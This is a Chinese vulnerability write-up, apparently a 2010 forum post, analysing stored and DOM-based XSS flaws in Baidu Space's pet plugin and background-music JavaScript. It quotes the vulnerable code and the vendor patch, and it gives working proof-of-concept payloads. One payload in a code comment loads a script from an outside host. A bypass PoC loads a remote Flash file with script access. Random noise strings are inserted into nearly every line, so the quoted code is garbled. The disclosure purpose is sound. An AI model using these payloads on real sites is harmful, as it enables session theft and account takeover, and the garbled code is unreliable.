百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
- Q1 F& o$ P) D) W% Y9 S3 P6 w9 H4 H8 s! x! R0 G6 L& r+ a
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 1 c$ W: I0 ~2 u5 i
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 ( l/ p/ I6 n( X( ~& r
1 i: \8 v& r3 D" k- Q3 r/ O
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> * U# _! x' `; \: c8 h2 g* T( v! U9 o* A
其中BdUtil.insertWBR为 9 y% t& S- K+ @! e" e+ Y) n
function(text, step) {
: C; A) g# [- A var textarea = textAreaCache || getContainer(); % W5 L) t% C% f+ D/ _
if (!textarea) {
8 A. k3 u0 g G return text;
5 F9 H/ h7 M! p! ~ }
+ ~4 f5 T7 i S3 ^: G* U+ K textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); . M; [" S. D/ q
var string = textarea.value; , M( u& g/ I: ^" I/ i5 } ]5 V* S
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
) e0 m6 x6 k! P$ \ var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); % i. J8 j0 T2 j: t- S* t
return result; * S- J+ C7 q a" R3 \ T
} 3 A) J0 ?/ f! k
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
1 v& y5 s% M2 g+ E测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
) o- E0 x4 d4 h9 e ! [) u! w) A5 Z6 c9 H
二:creatbgmusic() Dom-Xss Bug
$ M, Y; Z! a$ e# @& w5 M6 P) J百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
3 M8 J+ b3 n0 ]# o
8 a9 W' X4 b6 s1 n4 D# E; \2 g8 B( Q在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
. m0 o3 q" ?6 W, W) e2 ^, R& h( ^5 s( `
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
- S. n' R7 \: H0 w0 q+ }# y //传入的murl赋值到bgmusic1和bgmusic2中
. y0 F* y4 R Y+ ]; S# j% }3 D) a //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
8 d- X& c6 u1 U6 n8 u var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
4 k$ T u" Q" F7 J' A if (musicnum <= 1) { 3 [5 U" c2 ]# J6 z
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; 3 w; a+ B6 {5 T% N4 L( E- y
} ) T0 v" q4 l- y/ z* c* Z
bgmusic1 += "</OBJECT>";
* L$ s0 O- o4 w4 G- G var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
: c9 O+ f7 i. d' N0 h if (musicnum <= 1) { # y$ O! ?8 H/ Y
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 2 s, f% r5 Z: @# ^' S
}
; V0 n3 _* t2 d1 M# W bgmusic2 += "> </EMBED>";
$ p* u# X# B. n; n1 N) Z var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 2 n( k! C. ]( h5 E+ S8 m* `
var bgmus = detectWMP();
2 U- x: }3 G9 E6 X+ c; z9 L7 | if (functype == "FckMusicHelper") { % H( M" c8 R- ^2 V9 L+ P
if (bgmus.installed) { ( A4 T# ~6 D1 f e
if (bgmus.type == "IE") {
8 q+ o* k6 h9 g" S, X& B return bgmusic1; . {" A1 k3 D m1 @
} else if (bgmus.type == "NS") { 2 \0 W6 ~( C6 Y+ h9 L
return bgmusic2; ! [0 Z5 g, ?% H/ H. s
}
$ N# E) t4 `4 |$ ^/ ? } else {
4 h1 a- X7 e- d$ y8 p8 i return bgmusic3; , I1 L. W& w' E, K0 H" K. ?& v
}
. w' @; P+ ~( [8 @" z, ?2 @ } else { + z' ]9 V6 H# |! J
if (bgmus.installed) {
5 b8 W$ X% \7 A7 z+ y+ H6 N //document.write 直接输出bgmusic变量 导致xss
% p0 w; i' U& L if (bgmus.type == "IE") {
; g% g4 g, A% H- U document.write(bgmusic1);
" q6 M P$ @" }! b% J; ] } else if (bgmus.type == "NS") {
8 B D8 }0 o" w. {# z1 B document.write(bgmusic2);
& o) q9 N- |, K) ]$ E- r; G$ T }
3 Z. } ]) L% h5 W" j7 W% h9 Y } else {
# t5 r5 l1 {/ V) C document.write(bgmusic3); 3 o4 T. ?5 s7 ^& X; k
}
& `2 b1 A9 G9 i* t return ""; - G% [* O1 s2 ~' o3 _9 {- A2 w
} ; _, }8 w8 B9 Y
} ! ?; v# }3 x) [! G( ~
+ j) t4 A; K# o1 F, [; v# z5 a4 q+ L/ z# x
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: / T3 p" ^7 b) V9 e* F
3 f) Q1 }8 x( B+ R, {
function initBlogTextForFCK(){
& V# d2 I. g& x% r//fck init music ( X+ H! t2 s' f7 E4 [/ _" `" p# s
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} ! w. _; H5 E. b& l
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
1 [7 U h/ j. Q2 z0 T( q: C& |" @# Rvar isAutoPlay=true; ( Q9 f/ v4 N0 H# o
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
* |$ x) E+ w; \" N4 r% X var img=imgBox;
7 z! y) P1 f0 q if(img.getAttribute(’rel’)){ $ X q: m5 f$ [4 ^( c! z) C
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc 0 V x+ M! r7 `/ r+ B+ ~
var musicDiv = document.createElement("SPAN"); . E: ?$ A6 ?$ X
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
. T, _& `( D/ G0 e$ t8 _
" N/ S" Z P: F' L, r .......................... ! c. }: b, I/ _2 t( ]) r
& W7 i6 b5 v* o( C1 a
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
/ g5 G5 X. `& V( Z! P var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
8 f' D; L! e/ M( U shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); * l' ]9 i! {0 y
musicDiv.innerHTML=shtml; / [% Z7 I8 y% @5 P
i--;n--;
$ v# r0 q- ]3 z1 @3 B" A8 q1 t } 6 l4 ]/ v" J, d- o/ v! G8 T
} * U. N9 y: Z7 P3 w
7 W% ?4 Q4 A2 E* X从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
6 H: p1 y2 A5 ?0 I# } % G9 F( F* i1 F B+ p# a' s1 \/ F) ]
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
% H& n' M! Y. {2 c$ d3 ]9 Q0 [
0 `; ?) d3 @1 L等待官方补丁 - x! K1 N# J8 u# b
2 U. Q7 B- I' v, |
update 2010年5月13日 - P' H2 Y/ a' F8 w6 K
4 u7 P) p! `# Y) w$ E! A+ V* Q官方补丁:
$ k: c& `+ v2 Q1 y- t+ S7 F
& o1 M Z4 @) B" j& V0 wvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
# f' ]4 s- D6 I' Z. V改为: 4 b0 b+ \" s% x- @/ |
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); ' H# V' Q/ ]! g! f0 u1 p' v4 D y
+ u, K% c; R2 F7 H; B7 [update 2010年5月13日 21:50:37 - c$ A4 X) P# X* p% q
8 s+ m9 u1 k2 i% R补丁存在漏洞 没有过滤" 可以继续跨:
& N3 J$ i3 `9 u3 @& r$ ?3 h2 Y6 ^1 d
NEW POC:
2 {9 q( E, ]$ A( L# Q$ [3 H/ H- A- U8 \: L, |+ q8 S6 E
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" / y W! y- K/ K( d. M7 |
8 b2 @) Q9 b# y$ Y* ~
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>: }9 l, m9 R1 j7 }
: x5 T2 @1 d# E1 w! F8 K
|